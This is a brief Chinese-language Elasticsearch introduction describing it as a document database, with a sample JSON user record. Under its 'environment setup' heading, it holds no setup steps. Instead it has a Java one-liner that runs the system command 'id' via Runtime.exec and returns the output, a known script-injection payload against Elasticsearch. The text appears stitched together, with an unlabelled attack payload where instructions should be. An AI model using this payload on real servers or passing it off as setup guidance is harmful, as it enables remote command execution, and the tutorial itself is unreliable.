简介
Elasticsearch是面向文档型数据库,一条数据在这里就是一个文档,用JSON作为文档序列化的格式,比如下面这条用户数据
{
"name" : "John",
"sex" : "Male",
"age" : 25,
"birthDate": "1990/05/01",
"about" : "I love to go rock climbing",
"interests": [ "sports", "music" ]
}
环境搭建
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
